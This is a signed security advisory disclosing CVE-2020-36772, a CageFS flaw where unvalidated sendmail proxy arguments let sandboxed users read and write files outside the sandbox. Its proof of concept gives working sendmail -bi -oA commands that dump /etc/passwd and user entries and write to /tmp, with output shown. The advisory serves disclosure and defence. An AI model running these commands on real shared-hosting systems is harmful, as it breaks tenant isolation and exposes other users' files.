-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CloudLinux CageFS Insufficiently Restricted Proxy Command

Link: https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-02_CloudLinux_CageFS_Insufficiently_Restricted_Proxy_Commands

Vulnerability Overview

CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths
supplied to the sendmail proxy command. This allows local users to read
and write arbitrary files of certain file formats outside the CageFS
environment.

• Identifier : SBA-ADV-20200707-02
• Type of Vulnerability : External Control of File Name or Path
• Software/Product Name : CloudLinux CageFS
• Vendor : CloudLinux Inc.
• Affected Versions : <= 7.0.8-2
• Fixed in Version : 7.1.1-1
• CVE ID : CVE-2020-36772
• CVSS Vector : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• CVSS Base Score : 6.6 (Medium)

Vendor Description

CloudLinux OS is the leading platform for multitenancy. It improves
server stability, density, and security by isolating each tenant and
giving them allocated server resources. This creates an environment
that feels more like a virtual server than a shared hosting account.
By doing so, CloudLinux OS reduces operating costs and churn rates,
and increases profitability.

Source: https://www.cloudlinux.com/

Impact

A CageFS-restricted local user can read and write arbitrary files of certain
file formats outside the CageFS environment by exploiting the vulnerability
documented in this advisory.

Vulnerability Description

CloudLinux offers a feature called proxy commands in CageFS environments.
It allows limited execution of commands outside the CageFS environment from
a user restricted within the CageFS environment.

CageFS allows in its default configuration to execute sendmail as a proxy
command outside the CageFS environment. This default configuration is
designed to allow local programs sending emails by invoking sendmail.
Due to the insufficient validation of sendmail’s arguments an attacker can
invoke other sendmail functionality as well. While CageFS applies some
restrictions to the allowed arguments it does not restrict or validate the
-bi and -oA arguments.

Therefore, an attacker can have sendmail access arbitrary files which will
be interpreted as alias database files by enabling the newalias mode of
sendmail with -bi and specifying a file located outside the CageFS
environment with -oA.

On systems using the Postfix to Sendmail compatibility interface, a great
number of different alias database types can be used to craft exploits.
The compatibility interface internally calls postalias and besides the
-oA argument already being dangerous by itself, it also suffers from an
argument injection issue, which allows injection of additional Postfix
specific arguments for postalias. However, this is not a security issue
in Postfix.

According to Postfix developers, Postfix’s sendmail does not enforce a
security policy on command-line arguments. Instead, it relies on the
UNIX/Linux system to enforce access policies based on the effective user and
group IDs of the process. If a security policy should be enforced, the
calling process must sanitize the command-line arguments before they are
given to sendmail. This includes but is not limited to sanity checks on
pathnames, and if applicable sanity checks on file contents in a way that
is not vulnerable to time-of-check to time-of-use race attacks, and
disabling options processing with --.

Proof of Concept

For example, an attacker can read arbitrary files that at least partially
follow the structure key <whitespace> value via the lookup table type
texthash:

$ sendmail -bi -oA'-s,-f,texthash:/etc/passwd'  
postalias: warning: /etc/passwd, line 1: expected format: key whitespace value -- ignoring this line  
[...]  
postalias: warning: /etc/passwd, line 211: expected format: key whitespace value -- ignoring this line  
sssd:x:496:493:User:    for sssd:/:/sbin/nologin  
dbus:x:81:81:System:    message bus:/:/sbin/nologin  
polkitd:x:497:495:User: for polkitd:/:/sbin/nologin  
tss:x:59:59:Account:    used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin  
systemd-resolve:x:193:193:systemd:      Resolver:/:/sbin/nologin  
rngd:x:494:491:Random:  Number Generator Daemon:/var/lib/rngd:/sbin/nologin  
sshd:x:74:74:Privilege-separated:       SSH:/var/empty/sshd:/sbin/nologin  
systemd-coredump:x:499:497:systemd:     Core Dumper:/:/sbin/nologin  
nobody:x:65534:65534:Kernel:    Overflow User:/:/sbin/nologin  
ftp:x:14:50:FTP:        User:/var/ftp:/sbin/nologin  
unbound:x:498:496:Unbound:      DNS resolver:/etc/unbound:/sbin/nologin  
nrpe:x:492:486:NRPE:    user for the NRPE service:/var/run/nrpe:/sbin/nologin  

The attacker can also use other lookup table types which might disclose
sensitive information. For example, unix allows the query of specific
users regardless of the format:

$ sendmail -bi -oA'-q,ftp2406151,unix:passwd.byname'  
ftp2406151:x:935:935::/home/ftp2406151:/sbin/nologin  

An attacker can also write specific file formats outside the CageFS
environment. For example, with the hash lookup table type:

$ echo sba:was_here | sendmail -bi -oA'-o,-p,-i,-f,hash:/tmp/sba_was_here'  
$ sendmail -bi -oA'-s,-f,hash:/tmp/sba_was_here'  
@:      @  
YP_LAST_MODIFIED:       1594138203  
YP_MASTER_NAME: localhost  
sba:    was_here  

Recommended Countermeasures

We recommend to restrict the sendmail command to only strictly required
parameters using an allow list approach. At least the following parameters
are known to cause dangerous behavior:

• -oA: Allows specification of multiple paths and additional arguments.
  It is important to consider that it is directly followed by the pathname
  without a separator, i.e., -oA/etc/passwd.
• -bi: Enables the newalias mode of sendmail.
• -I: Enables the newalias mode of sendmail.
• -v: If the parameter is added at least two times, i.e., -vv,
  -vvvvv or -v -v, it enables the verbose mode, which leaks the
  Postfix configuration in some cases.

We did not fully analyze other parameters of sendmail, therefore, it is
possible that sendmail as proxy command is also prone to other attacks.

Timeline

• 2020-07-07: identification of vulnerability in version 7.0.6-1
• 2020-07-10: initial vendor contact
• 2020-07-13: initial vendor response
• 2020-07-13: disclosed vulnerability to vendor security contact
• 2020-08-06: vendor released version 7.1.1-1 to testing
• 2020-09-03: vendor released version 7.1.1-1 to production
• 2020-10-02: request CVE from MITRE
• 2022-01-04: MITRE declined request as it falls in the scope of Red Hat
• 2024-01-19: request CVE from Red Hat
• 2024-01-22: Red Hat assigned CVE-2020-36772
• 2024-01-25: public disclosure

References

• CageFS 7.1.1-1 beta: https://blog.cloudlinux.com/beta-cagefs-and-alt-python27-cllib-updated-1
• CageFS 7.1.1-1 production: https://blog.cloudlinux.com/lve-manager-lve-stats-lve-utils-and-alt-python27-cllib-have-been-rolled-out-to-100

Credits

• David Lisa Gnedt (SBA Research)
  -----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmWyn0kACgkQ+7iGL1j3
dbL5PhAAspmKHEa29DXuwNjJ/3l96fX2AiuPj5NDhoSF01tfakpNE0w86c8GiGvw
GRhGQ0n1AO9qNcfyULjWjtQ8FwFuRPzPI0mfaycW2oDQ3BAG2LtFqmQvpUzTV6tP
pckL2H50ptablRYlphFEY0XDt42ezU3wjokNK/cpRhZlzCs7mvd6LuCg5qXwBno/
srsxlb4n1IdZRF5mh7ariYpObDvLUctwhri7RCBEqb6MZh+y6rSSPKsGdCHq/su2
6KEH0mxNPwMJtccNah29SWvv+fZ9+mkK1IuuWIdhyM2XMTJxOE4n0AsoISVGI6bH
9XgL0AQ3B3kyoqHbfCyoUonbz4mSdTFInqpuqlU0X6Wos+kjnS/27sH/De8ba+mm
jmDDQFmoe1QrVkbDjXI7zBy81Qh3nVZ/qig/1SCex0i+IyO4HpdCYbjrs7I76C0V
fvpd0VWb3BKpGHA4IhISA/jmCSlvxW+2gkHrhxfWhM1K3Pa/a0qH9RuCFAZ7B9qP
OQM3Yrhbikqyaqh/ZI7nYMc33KfiPCiXKejDtaTGIVVThKHr1mQibgaYt+ILi0RH
8uxH+tpuVqjEgVHZQMBQEAa3WvaGYo2kJJxU0z+3m/s6W45JhGguMzrH/n9z6XKo
H4xyTp1YQ3aP6gZBgoMEkipkc0B+QK/zb+xOghfE3Cbjdx47gCo=
=E60q
-----END PGP SIGNATURE-----